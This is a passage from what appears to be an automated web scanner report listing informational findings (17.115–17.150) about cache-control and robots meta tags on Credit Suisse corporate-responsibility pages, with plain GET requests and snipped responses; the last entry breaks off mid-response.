<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />

<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.115. https://www.credit-suisse.com/responsibility/en/employer/index.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/employer/index.jsp

Request

GET /responsibility/en/employer/index.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:44:44 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 30691

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />

<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.116. https://www.credit-suisse.com/responsibility/en/employer/networks.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/employer/networks.jsp

Request

GET /responsibility/en/employer/networks.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:45:08 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 34129

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />

<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.117. https://www.credit-suisse.com/responsibility/en/employer/partners_awards.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/employer/partners_awards.jsp

Request

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:45:13 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 35282

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />

<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.118. https://www.credit-suisse.com/responsibility/en/employer/pkom.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/employer/pkom.jsp

Request

GET /responsibility/en/employer/pkom.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:44:45 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 29692

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />

<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.119. https://www.credit-suisse.com/responsibility/en/employer/workplace.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/employer/workplace.jsp

Request

GET /responsibility/en/employer/workplace.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:44:45 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 31841

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />

<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.120. https://www.credit-suisse.com/responsibility/en/environment.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/environment.jsp

Request

GET /responsibility/en/environment.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:45:19 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 30531

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />

<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.121. https://www.credit-suisse.com/responsibility/en/environmental_management.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/environmental_management.jsp

Request

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:45:27 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 30514

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />

<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.122. https://www.credit-suisse.com/responsibility/en/gri_index.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/gri_index.jsp

Request

GET /responsibility/en/gri_index.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:45:44 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 71095

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />

<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.123. https://www.credit-suisse.com/responsibility/en/index.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/index.jsp

Request

GET /responsibility/en/index.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:43:49 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 31649

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />

<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.124. https://www.credit-suisse.com/responsibility/en/initiatives/climate/index.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/initiatives/climate/index.jsp

Request

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:43:59 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 20911

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />

<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.125. https://www.credit-suisse.com/responsibility/en/initiatives/education_initiative/initiatives_education.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/initiatives/education_initiative/initiatives_education.jsp

Request

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:43:54 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 19265

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />

<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.126. https://www.credit-suisse.com/responsibility/en/initiatives/employee_engagement.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/initiatives/employee_engagement.jsp

Request

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:43:58 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 28709

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />

<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.127. https://www.credit-suisse.com/responsibility/en/initiatives/gcp.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/initiatives/gcp.jsp

Request

GET /responsibility/en/initiatives/gcp.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:43:59 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 31058

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />

<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.128. https://www.credit-suisse.com/responsibility/en/initiatives/index.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/initiatives/index.jsp

Request

GET /responsibility/en/initiatives/index.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:43:54 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 29626

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />

<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.129. https://www.credit-suisse.com/responsibility/en/initiatives/initiatives_microfinance.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/initiatives/initiatives_microfinance.jsp

Request

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:44:00 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 31378

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />

<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.130. https://www.credit-suisse.com/responsibility/en/initiatives/microfinance_accion.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/initiatives/microfinance_accion.jsp

Request

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:43:56 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 30788

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />

<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.131. https://www.credit-suisse.com/responsibility/en/jubilee_fund.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/jubilee_fund.jsp

Request

GET /responsibility/en/jubilee_fund.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:44:44 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 21864

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />

<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.132. https://www.credit-suisse.com/responsibility/en/measures_in_regions.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/measures_in_regions.jsp

Request

GET /responsibility/en/measures_in_regions.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:45:27 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 32080

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />

<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.133. https://www.credit-suisse.com/responsibility/en/objectives.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/objectives.jsp

Request

GET /responsibility/en/objectives.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:43:50 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 31775

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />

<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.134. https://www.credit-suisse.com/responsibility/en/philanthropy.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/philanthropy.jsp

Request

GET /responsibility/en/philanthropy.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:44:40 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 29714

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />

<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.135. https://www.credit-suisse.com/responsibility/en/philanthropy_apac.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/philanthropy_apac.jsp

Request

GET /responsibility/en/philanthropy_apac.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:44:43 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 32309

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />

<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.136. https://www.credit-suisse.com/responsibility/en/philanthropy_application.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/philanthropy_application.jsp

Request

Response

17.137. https://www.credit-suisse.com/responsibility/en/philanthropy_emea.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/philanthropy_emea.jsp

Request

GET /responsibility/en/philanthropy_emea.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:44:43 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 33019

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />

<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.138. https://www.credit-suisse.com/responsibility/en/philanthropy_global.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/philanthropy_global.jsp

Request

GET /responsibility/en/philanthropy_global.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:44:42 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 31602

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />

<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.139. https://www.credit-suisse.com/responsibility/en/philantropy_americas.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/philantropy_americas.jsp

Request

GET /responsibility/en/philantropy_americas.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:44:42 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 32600

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />

<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.140. https://www.credit-suisse.com/responsibility/en/reporting.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/reporting.jsp

Request

GET /responsibility/en/reporting.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:45:43 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 29171

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />

<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.141. https://www.credit-suisse.com/responsibility/en/society/dialogue.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/society/dialogue.jsp

Request

GET /responsibility/en/society/dialogue.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:45:30 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 30006

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />

<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.142. https://www.credit-suisse.com/responsibility/en/society/employer.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/society/employer.jsp

Request

GET /responsibility/en/society/employer.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:45:38 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 29312

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />

<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.143. https://www.credit-suisse.com/responsibility/en/society/expertise.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/society/expertise.jsp

Request

GET /responsibility/en/society/expertise.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:45:31 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 32231

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />

<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.144. https://www.credit-suisse.com/responsibility/en/society/homemarket.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/society/homemarket.jsp

Request

GET /responsibility/en/society/homemarket.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:45:36 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 30205

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />

<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.145. https://www.credit-suisse.com/responsibility/en/society/opinion_leaders.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/society/opinion_leaders.jsp

Request

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:45:35 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 34558

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />

<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.146. https://www.credit-suisse.com/responsibility/en/society/public_debate.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/society/public_debate.jsp

Request

GET /responsibility/en/society/public_debate.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:45:35 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 36185

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />

<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.147. https://www.credit-suisse.com/responsibility/en/society/salon.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/society/salon.jsp

Request

GET /responsibility/en/society/salon.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:45:34 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 35214

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />

<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.148. https://www.credit-suisse.com/responsibility/en/society/sponsoring_switzerland.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/society/sponsoring_switzerland.jsp

Request

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:45:42 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 33321

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />

<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.149. https://www.credit-suisse.com/responsibility/en/society/svc_risikokapital.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/society/svc_risikokapital.jsp

Request

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:45:42 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 32363

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />

<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.150. https://www.credit-suisse.com/responsibility/en/society/switzerland.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/society/switzerland.jsp

Request

GET /responsibility/en/society/switzerland.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:45:36 GMT
